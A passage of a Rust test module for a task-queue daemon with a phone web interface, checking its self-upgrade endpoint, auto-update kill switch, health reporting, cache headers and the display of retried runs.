9545        // Somebody else's `magi serve` owns the queue. Replacing this binary
9546        // would leave that process running an old one against the same
9547        // claims, which is worse than refusing.
9548        let mut beat = crate::daemon::Status::new();
9549        beat.pid = 4321;
9550        beat.updated_at = jiff::Timestamp::now();
9551        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9552            .expect("publish a heartbeat");
9553
9554        let res = fx.post("/api/upgrade", None).await;
9555        assert_eq!(res.status, 409);
9556        let err = res.json()["error"].as_str().unwrap().to_owned();
9557        assert!(err.contains("4321"), "the refusal names the owner: {err}");
9558        assert!(err.contains("old one against the same queue"), "{err}");
9559    }
9560
9561    /// [`should_spawn_recheck`] must refuse for the same two reasons
9562    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
9563    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
9564    /// Purely a predicate over config and the environment - no network, no
9565    /// disk, no runtime - so unlike the fixture-based tests around it this
9566    /// one needs neither.
9567    #[test]
9568    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
9569        assert!(!should_spawn_recheck(&crate::config::Update {
9570            mode: UpdateMode::Off,
9571            interval: None,
9572        }));
9573
9574        // SAFETY: single-threaded as far as this variable goes, the same
9575        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
9576        unsafe {
9577            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9578        }
9579        let killed = should_spawn_recheck(&crate::config::Update {
9580            mode: UpdateMode::Notify,
9581            interval: None,
9582        });
9583        unsafe {
9584            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9585        }
9586        assert!(
9587            !killed,
9588            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
9589             one-time startup check"
9590        );
9591
9592        assert!(should_spawn_recheck(&crate::config::Update {
9593            mode: UpdateMode::Notify,
9594            interval: None,
9595        }));
9596    }
9597
9598    /// [`recheck_poll_period`] must track a configured `[update] interval`
9599    /// shorter than its own default ceiling - a fixed sleep here would leave
9600    /// an operator's short interval waiting on the next wake-up instead of on
9601    /// `should_check`, which is the same bug this whole task exists to fix,
9602    /// just one level down.
9603    #[test]
9604    fn recheck_poll_period_tracks_a_short_configured_interval() {
9605        let short = crate::config::Update {
9606            mode: UpdateMode::Notify,
9607            interval: Some("1m".to_owned()),
9608        };
9609        let period = recheck_poll_period(&short);
9610        assert!(
9611            period <= Duration::from_secs(30),
9612            "a one-minute interval must wake the task far sooner than the \
9613             default ceiling, or the deck would not notice within the \
9614             interval the operator configured: got {period:?}"
9615        );
9616
9617        let default = crate::config::Update {
9618            mode: UpdateMode::Notify,
9619            interval: None,
9620        };
9621        assert_eq!(
9622            recheck_poll_period(&default),
9623            UPDATE_RECHECK_POLL_MAX,
9624            "the default day-long interval should poll at the (capped) \
9625             ceiling rather than needlessly often"
9626        );
9627    }
9628
9629    /// [`update_recheck_due`] must not repeat a check made moments ago, the
9630    /// same throttle `updater::Checker::should_check` already gives the
9631    /// CLI's notify mode. Built over an explicit state file via
9632    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
9633    /// write the operator's real `last_update_check.json` - and therefore
9634    /// cannot flake on whatever that file happens to say on the machine
9635    /// running the test.
9636    #[test]
9637    fn recheck_skips_the_network_before_the_interval_elapses() {
9638        let dir = TempDir::new().expect("temp dir");
9639        let path = dir.path().join("state.json");
9640        let state = kaishin::UpdateCheckState {
9641            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
9642            last_known_latest: None,
9643            last_known_url: None,
9644        };
9645        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
9646
9647        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
9648        assert!(
9649            !update_recheck_due(&checker, None),
9650            "a check made moments ago must not be repeated before the \
9651             configured interval elapses"
9652        );
9653    }
9654
9655    /// An upgrade this deck already started must not be raced by a recheck
9656    /// that discovers a newer release mid-install - regardless of what
9657    /// `should_check` says, which is why the state file here is missing
9658    /// entirely: read alone, that alone would answer "never checked, go
9659    /// ahead".
9660    #[test]
9661    fn recheck_defers_to_an_upgrade_already_in_flight() {
9662        let dir = TempDir::new().expect("temp dir");
9663        let path = dir.path().join("state.json");
9664        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
9665        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
9666
9667        assert!(
9668            !update_recheck_due(&checker, Some(&progress)),
9669            "a recheck must not run while an upgrade this deck started is \
9670             still moving"
9671        );
9672    }
9673
9674    #[tokio::test]
9675    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
9676        // The same env var the background check honours (`disabled_by_env`)
9677        // must also stop a button press before it ever calls
9678        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
9679        // means "never contact GitHub from this process", and a tap on the
9680        // upgrade button must not override that any more than a broken
9681        // `magi.toml` may. Left unset, this fixture's default config would
9682        // otherwise reach a real, unauthenticated GitHub call.
9683        //
9684        // SAFETY: single-threaded as far as this variable goes - nothing else
9685        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
9686        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
9687        unsafe {
9688            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9689        }
9690        let fx = Fixture::start().await;
9691        let res = fx.post("/api/upgrade", None).await;
9692        unsafe {
9693            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9694        }
9695        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9696        let body = res.json();
9697        assert!(body["to"].is_null(), "there was no release to move to");
9698        assert!(body["parked"].is_null(), "and nothing was parked");
9699        assert!(
9700            body["detail"]
9701                .as_str()
9702                .unwrap()
9703                .contains("disabled by MAGI_NO_AUTOUPDATE"),
9704            "{body:?}"
9705        );
9706    }
9707
9708    #[tokio::test]
9709    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
9710        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
9711        // and the route answers from its own logic.
9712        //
9713        // This test used to lean on the fixture's placeholder repo failing
9714        // config discovery, which left `mode = "notify"` - and a live,
9715        // unauthenticated call to the GitHub releases API inside a unit test.
9716        // GitHub allows 60 of those an hour per address, so the suite went red
9717        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
9718        // long as somebody kept re-running it: every attempt spent another
9719        // request. Six reruns across four pull requests were charged to that
9720        // before it was read as a rate limit rather than a flake.
9721        //
9722        // What the assertion is about is the "already current" branch, which
9723        // is reached by there being no newer release *or* nowhere to look. The
9724        // second one needs no network and cannot be rate limited.
9725        let repo = TempDir::new().expect("repo dir");
9726        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9727            .expect("write magi.toml");
9728        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9729
9730        // It must answer 200 and leave the process alone: restarting for an
9731        // upgrade that did not happen parks the run in flight and drops every
9732        // connection to pay for nothing. A probe against a deck already on the
9733        // newest build did exactly that, which is how this case got its own
9734        // branch.
9735        let res = fx.post("/api/upgrade", None).await;
9736        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9737        let body = res.json();
9738        assert!(body["to"].is_null(), "there was no release to move to");
9739        assert!(body["parked"].is_null(), "and nothing was parked");
9740        assert!(
9741            body["detail"]
9742                .as_str()
9743                .unwrap()
9744                .contains("nothing restarted"),
9745            "{body:?}"
9746        );
9747    }
9748
9749    #[tokio::test]
9750    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
9751        // `mode = "off"` for the same reason as the test above: a default
9752        // fixture repo falls back to `mode = "notify"`, which would make this
9753        // route's new `update` field a live, unauthenticated GitHub call on
9754        // every assertion in this suite that happens to hit `/api/health`.
9755        let repo = TempDir::new().expect("repo dir");
9756        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9757            .expect("write magi.toml");
9758        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9759
9760        let health = fx.get("/api/health").await.json();
9761        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
9762        assert_eq!(
9763            health["update"]["available"], false,
9764            "checking is off, which reads as \"unknown\", not \"none\""
9765        );
9766        assert!(health["update"]["to"].is_null());
9767        assert!(
9768            health["upgrade"].is_null(),
9769            "nothing has ever asked this deck to upgrade"
9770        );
9771    }
9772
9773    #[tokio::test]
9774    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
9775        let fx = Fixture::start().await;
9776        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
9777
9778        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9779        progress.parked_run = Some("20260905-000000-cd51".to_owned());
9780        progress.advance(crate::updater::Stage::Parking);
9781        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9782
9783        let health = fx.get("/api/health").await.json();
9784        assert_eq!(health["upgrade"]["stage"], "parking");
9785        assert_eq!(health["upgrade"]["from"], "0.5.1");
9786        assert_eq!(health["upgrade"]["to"], "0.5.2");
9787        let waiting_on = health["upgrade"]["waiting_on"]
9788            .as_str()
9789            .expect("waiting_on is set while parking a known run");
9790        assert!(waiting_on.contains("cd51"), "{waiting_on}");
9791        assert!(waiting_on.contains("implementing"), "{waiting_on}");
9792    }
9793
9794    #[tokio::test]
9795    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
9796        let fx = Fixture::start().await;
9797        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9798        progress.advance(crate::updater::Stage::Done);
9799        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9800
9801        let health = fx.get("/api/health").await.json();
9802        assert_eq!(health["upgrade"]["stage"], "done");
9803        assert!(
9804            health["upgrade"]["waiting_on"].is_null(),
9805            "nothing to wait on once it is done"
9806        );
9807    }
9808
9809    #[tokio::test]
9810    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
9811        let home = TempDir::new().expect("temp home");
9812        let runs = home.path().join("runs");
9813        std::fs::create_dir_all(&runs).expect("runs dir");
9814        let ui = Ui::new(
9815            Queue::at(home.path().join("queue")),
9816            Questions::at(home.path().join("questions")),
9817            Talks::at(home.path().join("talks")),
9818            runs,
9819            home.path().to_path_buf(),
9820            PathBuf::from("/repo/magi"),
9821        )
9822        .with_launch(launch_idle);
9823        let looping = ui.looping();
9824        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9825            .await
9826            .expect("bind loopback");
9827        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
9828
9829        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9830        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
9831
9832        hand_over(home.path(), &looping, served, || Ok(()))
9833            .await
9834            .expect("hand over");
9835
9836        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
9837        assert_eq!(
9838            after.stage,
9839            crate::updater::Stage::Restarting,
9840            "hand_over owns the record through parking and up to restarting; \
9841             the successor is what finishes it"
9842        );
9843    }
9844
9845    #[test]
9846    fn the_upgrade_button_arms_before_it_restarts_anything() {
9847        // It ends the process the operator is talking to, and a phone in a
9848        // pocket taps things. One tap arms, the second commits.
9849        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
9850        assert!(APP_JS.contains("Replace the binary and restart?"));
9851        assert!(APP_JS.contains("function confirmed("));
9852        // Hidden when the loop is somebody else's, matching the 409 above -
9853        // and hidden with nothing to install, matching the 200 "already
9854        // current" branch: an operator on the newest build must not be
9855        // offered a restart that would only park a run for nothing.
9856        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
9857        // A park waits for the node in flight, up to an hour for an implement
9858        // wave. Leaving the button reading "Upgrading…" for that long is the
9859        // same mistake as an error rendered off screen: it looks wedged.
9860        assert!(
9861            APP_JS.contains("Parking, then restarting"),
9862            "the button says what it is waiting for"
9863        );
9864        // And nothing to install must give the button back rather than
9865        // pretending a restart is coming.
9866        assert!(APP_JS.contains("if (!out.to)"));
9867    }
9868
9869    #[test]
9870    fn stopping_the_loop_arms_but_starting_does_not() {
9871        // A stray tap must not leave the queue stopped overnight, so a stop is
9872        // two taps through the same helper the upgrade uses; a start stays one.
9873        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
9874        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
9875        assert!(APP_JS.contains("confirmed(button, question)"));
9876        // The label put back on timeout is the one saved when arming, not a
9877        // hard-coded upgrade caption that would rename the stop button.
9878        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
9879        assert!(APP_JS.contains("const label = btn.textContent;"));
9880        assert!(!APP_JS.contains("Neither direction is guarded"));
9881    }
9882
9883    #[test]
9884    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
9885        assert!(
9886            APP_JS.contains("state.health.version"),
9887            "the operator wants to know what is running even with nothing newer"
9888        );
9889        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
9890    }
9891
9892    #[test]
9893    fn the_upgrade_button_names_its_destination() {
9894        assert!(
9895            APP_JS.contains("`Update to ${update.to}`"),
9896            "pressing the button should not be a surprise about what it moves to"
9897        );
9898    }
9899
9900    #[test]
9901    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
9902        for stage in ["downloading", "replaced", "parking", "restarting"] {
9903            assert!(
9904                APP_JS.contains(&format!("\"{stage}\"")),
9905                "the phone must be able to tell {stage} apart from the others"
9906            );
9907        }
9908        assert!(APP_JS.contains(".waiting_on"));
9909        // What replaced the bare "Cannot reach magi: Failed to fetch": a
9910        // fetch failing while an upgrade is in flight is not an error, it is
9911        // the sub-second gap `bind_waiting` covers, and it must not be
9912        // reported as one.
9913        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
9914        assert!(APP_JS.contains("reconnects on its own"));
9915    }
9916
9917    #[test]
9918    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
9919        // `Stage::Failed` is terminal on the server and nothing clears it on
9920        // its own - not a fresh start, not time passing - so a full-strip
9921        // takeover for it (the way the busy stages take the strip over,
9922        // correctly, because those are transient) would have hidden
9923        // start/stop/park behind an upgrade notice with no way back short of
9924        // a person editing `upgrade.json` by hand or a later release
9925        // happening to succeed. The failure must instead ride along as a note
9926        // next to whatever control the loop's own state already offers.
9927        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
9928            ..APP_JS.find("function upgrade(").expect("upgrade")];
9929        assert!(
9930            !body.contains(
9931                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
9932            ),
9933            "a failed upgrade must not take the whole strip over the way it used to"
9934        );
9935        assert!(
9936            body.contains("upgradeFailNote"),
9937            "the failure has to reach the loop's own note instead"
9938        );
9939        // `quiet` and `control` are the only two places `loop-why` is set from
9940        // this function's own state; both must carry the note through, or a
9941        // future edit to either one would silently drop it again.
9942        assert_eq!(
9943            body.matches("upgradeFailNote].filter(Boolean).join")
9944                .count(),
9945            2,
9946            "both loop-why writers (quiet and control) must fold the note in"
9947        );
9948    }
9949
9950    #[test]
9951    fn an_overdue_upgrade_eventually_asks_for_a_human() {
9952        // The ceiling has to clear a full hour-long park with room to spare,
9953        // or an ordinary implement wave would be reported as a stuck upgrade.
9954        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
9955        assert!(APP_JS.contains("function upgradeOverdue("));
9956    }
9957
9958    #[test]
9959    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
9960        assert!(
9961            APP_JS.contains("Updated to ${upgradeInfo.to"),
9962            "the operator who asked for the restart wants to know it worked"
9963        );
9964    }
9965
9966    #[test]
9967    fn an_error_is_visible_from_where_the_button_is() {
9968        // The alert used to sit in the flow under the header. On a phone
9969        // scrolled 13 500 px down to a run's action sheet that is off screen,
9970        // so tapping Resume and being told "the loop is running run b455
9971        // right now" looked exactly like a button that did nothing.
9972        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
9973            ..APP_CSS.find(".alert-text").expect(".alert-text")];
9974        assert!(
9975            alert.contains("position: fixed"),
9976            "an error about the thing under your thumb has to be visible from \
9977             where your thumb is: {alert}"
9978        );
9979        assert!(
9980            alert.contains("z-index: 25"),
9981            "above the dock (20) and the run-actions FAB (15), so neither \
9982             buries it: {alert}"
9983        );
9984        assert!(
9985            alert.contains("var(--tap)"),
9986            "and clear of the dock and the home indicator: {alert}"
9987        );
9988        // The FAB sits at the same height on the right. An error that covered
9989        // it would hide the button the operator reaches for next.
9990        assert!(
9991            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
9992            "the FAB's column stays free: {alert}"
9993        );
9994    }
9995
9996    #[tokio::test]
9997    async fn an_older_attempt_says_what_replaced_it() {
9998        let fx = Fixture::start().await;
9999        let q = fx.queue();
10000        let runs = fx.runs();
10001        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
10002        write_run(&runs, first, RunStatus::Stalled);
10003        write_run(&runs, second, RunStatus::Blocked);
10004
10005        let mut t = Task::new(
10006            "one task".to_owned(),
10007            "do it".to_owned(),
10008            PathBuf::from("/repo"),
10009            Source::Human,
10010        );
10011        t.runs = vec![first.to_owned(), second.to_owned()];
10012        q.put(&mut t).expect("put");
10013
10014        // Two cards with the same title and no hint which is which was the
10015        // question: "why are there two of the same, one stalled and one
10016        // blocked?" The older one now names its replacement.
10017        let rows = fx.get("/api/runs").await.json();
10018        let by = |short: &str| -> Value {
10019            rows.as_array()
10020                .unwrap()
10021                .iter()
10022                .find(|r| r["short"] == short)
10023                .cloned()
10024                .unwrap_or(Value::Null)
10025        };
10026        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
10027        assert!(
10028            by("bbbb")["superseded_by"].is_null(),
10029            "the latest attempt is not superseded by anything"
10030        );
10031        // Front end: the note has to be rendered, not just carried.
10032        assert!(APP_JS.contains("run.superseded_by"));
10033        assert!(APP_JS.contains("Superseded by"));
10034    }
10035
10036    #[tokio::test]
10037    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
10038        // The list route has known this since the card fix above; the detail
10039        // route — what an operator actually opens from a notification about
10040        // a blocked run — did not, and went on showing a bare red BLOCKED
10041        // chip for a run a retry had already finished.
10042        let fx = Fixture::start().await;
10043        let q = fx.queue();
10044        let runs = fx.runs();
10045        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
10046        write_run(&runs, first, RunStatus::Blocked);
10047        write_run(&runs, second, RunStatus::Merged);
10048
10049        let mut t = Task::new(
10050            "one task".to_owned(),
10051            "do it".to_owned(),
10052            PathBuf::from("/repo"),
10053            Source::Human,
10054        );
10055        t.runs = vec![first.to_owned(), second.to_owned()];
10056        q.put(&mut t).expect("put");
10057
10058        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
10059        assert_eq!(earlier["superseded_by"], "dddd");
10060        assert_eq!(earlier["latest_attempt"]["id"], second);
10061        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
10062        assert_eq!(
10063            earlier["latest_attempt"]["resolved"], true,
10064            "the run that replaced it landed, so this one reads as settled"
10065        );
10066
10067        let later = fx.get(&format!("/api/runs/{second}")).await.json();
10068        assert!(
10069            later["superseded_by"].is_null(),
10070            "the latest attempt is not superseded by anything"
10071        );
10072        assert!(
10073            later["latest_attempt"].is_null(),
10074            "the latest attempt has no later attempt of its own"
10075        );
10076
10077        // Front end: the detail page has to read the field this route now
10078        // carries, downgrade the chip, and link to the run that replaced it —
10079        // not just repeat the list card's own logic under a different name.
10080        // The link is built off `latest_attempt.id`, the server-resolved
10081        // full id, never a bare short string a client would have to guess a
10082        // full run from.
10083        assert!(APP_JS.contains("run.latest_attempt"));
10084        assert!(APP_JS.contains("data-superseded"));
10085        assert!(APP_JS.contains("#/runs/${latest.id}"));
10086    }
10087
10088    #[tokio::test]
10089    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
10090        // A -> B -> C, all Blocked except the last. A's immediate successor
10091        // (superseded_by) is B, which is itself unresolved; what an operator
10092        // opening A's page actually needs is where the task's story stands
10093        // *now* - C, not B - without depending on whether C happens to be in
10094        // whatever page of /api/runs the client last cached.
10095        let fx = Fixture::start().await;
10096        let q = fx.queue();
10097        let runs = fx.runs();
10098        let (a, b, c) = (
10099            "20260901-000000-aaaa",
10100            "20260901-000000-bbbb",
10101            "20260901-000000-cccc",
10102        );
10103        write_run(&runs, a, RunStatus::Blocked);
10104        write_run(&runs, b, RunStatus::Blocked);
10105        write_run(&runs, c, RunStatus::Merged);
10106
10107        let mut t = Task::new(
10108            "retried twice".to_owned(),
10109            "do it".to_owned(),
10110            PathBuf::from("/repo"),
10111            Source::Human,
10112        );
10113        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
10114        q.put(&mut t).expect("put");
10115
10116        let view = fx.get(&format!("/api/runs/{a}")).await.json();
10117        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
10118        assert_eq!(
10119            view["latest_attempt"]["id"], c,
10120            "the chain's current head, not the intermediate Blocked retry"
10121        );
10122        assert_eq!(view["latest_attempt"]["resolved"], true);
10123
10124        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
10125        assert_eq!(mid["latest_attempt"]["id"], c);
10126        assert_eq!(mid["latest_attempt"]["resolved"], true);
10127    }
10128
10129    #[tokio::test]
10130    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
10131        let fx = Fixture::start().await;
10132        let q = fx.queue();
10133        let runs = fx.runs();
10134
10135        // Still Blocked: the task is not resolved, so the older run must not
10136        // read as settled either.
10137        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
10138        write_run(&runs, still_blocked_a, RunStatus::Blocked);
10139        write_run(&runs, still_blocked_b, RunStatus::Blocked);
10140        let mut t1 = Task::new(
10141            "still stuck".to_owned(),
10142            "do it".to_owned(),
10143            PathBuf::from("/repo"),
10144            Source::Human,
10145        );
10146        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
10147        q.put(&mut t1).expect("put");
10148        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
10149        assert_eq!(view1["latest_attempt"]["resolved"], false);
10150
10151        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
10152        // to check - not a confirmed finish, so this must not read as
10153        // resolved either, even though the run is done in the sense that
10154        // nothing is still running.
10155        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
10156        write_run(&runs, noop_a, RunStatus::Blocked);
10157        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
10158        let mut t2 = Task::new(
10159            "claims done".to_owned(),
10160            "do it".to_owned(),
10161            PathBuf::from("/repo"),
10162            Source::Human,
10163        );
10164        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
10165        q.put(&mut t2).expect("put");
10166        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
10167        assert_eq!(
10168            view2["latest_attempt"]["resolved"], false,
10169            "an unverified no-op claim must not read as a confirmed finish"
10170        );
10171
10172        // Front end: an unresolved successor must not carry the "finished
10173        // this work" note or the muted chip treatment.
10174        assert!(APP_JS.contains("latest.resolved"));
10175    }
10176
10177    #[tokio::test]
10178    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
10179        let fx = Fixture::start().await;
10180        // No cache header at all meant browsers invented their own policy,
10181        // and one did: a phone went on showing "Candidates must be folded
10182        // before deleting. Run `magi fold` first." - deleted two releases
10183        // earlier - from a deck that no longer contained the sentence. The
10184        // button it named was right there, and unreachable.
10185        let js = fx.get("/app.js").await;
10186        assert_eq!(js.status, 200);
10187        let tag = js
10188            .header("etag")
10189            .expect("an etag to revalidate against")
10190            .to_owned();
10191        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
10192        assert_eq!(
10193            js.header("cache-control"),
10194            Some("no-cache, must-revalidate"),
10195            "the phone has to ask every time"
10196        );
10197
10198        // And the asking has to be cheap, or `must-revalidate` just means
10199        // "send the whole interface on every load".
10200        let again = fx
10201            .get_with("/app.js", &[("if-none-match", tag.as_str())])
10202            .await;
10203        assert_eq!(
10204            again.status, 304,
10205            "a deck it already has costs one round trip"
10206        );
10207        assert!(again.body.is_empty(), "304 carries no body");
10208
10209        // A weakened tag from a proxy still matches; a different build does
10210        // not, which is the case that has to deliver the new interface.
10211        let weak = fx
10212            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
10213            .await;
10214        assert_eq!(weak.status, 304);
10215        let stale = fx
10216            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
10217            .await;
10218        assert_eq!(stale.status, 200, "an older build must be replaced");
10219        assert!(stale.body.contains("renderRunActions"));
10220    }
10221
10222    #[test]
10223    fn the_deck_never_sends_the_operator_to_a_terminal() {
10224        // The whole point of the phone UI is that a terminal is not needed.
10225        // The delete control used to answer with "Run `magi fold` first."
10226        assert!(
10227            !APP_JS.contains("Run `magi fold` first"),
10228            "the deck must offer the fold, not prescribe a shell command"
10229        );
10230        assert!(APP_JS.contains("foldRun:"));
10231        assert!(APP_JS.contains("resumeRun:"));
10232        assert!(APP_JS.contains("renderRunActions"));
10233
10234        // Folding is destructive and armed in two steps, like deleting.
10235        assert!(APP_JS.contains("armedFold"));
10236        assert!(APP_JS.contains("Yes, fold worktrees"));
10237
10238        // And the copy has to say that the two actions are opposites, because
10239        // folding throws away exactly what a resume would continue from.
10240        assert!(APP_JS.contains("can no longer be resumed"));
10241    }
10242
10243    #[test]
10244    fn a_finished_run_explains_itself_with_its_own_last_line() {
10245        // The deck used to answer "why did this stop?" with a sentence chosen
10246        // by status alone. Run e633 stalled because two judges answered with
10247        // the wrong JSON shape and its card said "The panel collapsed on
10248        // agent quota" - with `quota: []` in the record and a quota-loss
10249        // counter right above it that correctly said nothing.
10250        assert!(
10251            !APP_JS.contains("collapsed on agent quota"),
10252            "a stall must not be explained by a cause the deck did not check"
10253        );
10254        assert!(
10255            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
10256            "and a block must not offer a guess with an `or` in it"
10257        );
10258
10259        // The reason it does have is `run.event`, which must reach finished
10260        // runs: gating it on movement hid the recorded truth at the one moment
10261        // the operator is reading the card to find out what happened.
10262        assert!(
10263            APP_JS.contains("setText(r.event, run.event || \"\")"),
10264            "the run's last line is rendered unconditionally"
10265        );
10266        assert!(
10267            !APP_JS.contains("moving && run.event"),
10268            "and never gated on the run still moving"
10269        );
10270
10271        // Quota keeps its own counter, fed by the number actually recorded.
10272        assert!(APP_JS.contains("lost to quota"));
10273    }
10274
10275    /// The runs tree (section) and the state chips (waiting/done) are two
10276    /// independent lenses ANDed together in `renderRuns`, and some pairings
10277    /// can never both be true for any run - every "Landed"/"Ended" run is
10278    /// done by construction, so pairing either with "Active" or "In flight"
10279    /// always rendered zero cards with the filter bar still claiming
10280    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
10281    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
10282    /// a handful of (waiting, status) shapes standing in for the run
10283    /// lifecycle, because `cargo test` cannot execute the front end.
10284    ///
10285    /// That stand-in list is itself the part that drifted twice in review:
10286    /// once shipped with `waiting: true` paired with a done status the
10287    /// lifecycle cannot produce, then over-corrected into treating every
10288    /// waiting run as never done - which made "Waiting on you" look
10289    /// incompatible with "Done" even for the one real, reachable shape
10290    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
10291    /// that combination. This test parses the shapes and the done-rule back
10292    /// out of `APP_JS`, reimplements `runSection` and the five state
10293    /// predicates independently in Rust, and checks the resulting
10294    /// section/filter compatibility table against the lifecycle rules by
10295    /// hand - so either direction of drift fails it again.
10296    #[test]
10297    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
10298        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
10299        let shapes_body_start =
10300            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
10301        let shapes_close = APP_JS[shapes_body_start..]
10302            .find("].map(")
10303            .expect("the shape list is closed by its done-computing .map(...)")
10304            + shapes_body_start;
10305        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
10306
10307        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
10308        for entry in shapes_src.split('{').skip(1) {
10309            let waiting = entry.contains("waiting: true");
10310            let dead = entry.contains("live: \"dead\"");
10311            let status_at =
10312                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
10313            let status_end = entry[status_at..]
10314                .find('"')
10315                .expect("the status string is closed")
10316                + status_at;
10317            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
10318        }
10319        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
10320
10321        // The done rule itself (`!["implementing"].includes(shape.status)`),
10322        // read out of the source rather than hardcoded, so a renamed
10323        // in-flight status can't silently make every parsed shape "done".
10324        let done_rule_marker = "done: !";
10325        let done_rule_at = APP_JS[shapes_close..]
10326            .find(done_rule_marker)
10327            .expect("the done rule follows the shape list")
10328            + shapes_close
10329            + done_rule_marker.len();
10330        let includes_at = APP_JS[done_rule_at..]
10331            .find(".includes(shape.status)")
10332            .expect("the done rule ends in .includes(shape.status)")
10333            + done_rule_at;
10334        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
10335            .trim()
10336            .trim_start_matches('[')
10337            .trim_end_matches(']')
10338            .split(',')
10339            .map(|s| s.trim().trim_matches('"'))
10340            .filter(|s| !s.is_empty())
10341            .collect();
10342
10343        let shapes: Vec<(bool, String, bool, bool)> = shapes
10344            .into_iter()
10345            .map(|(waiting, status, dead)| {
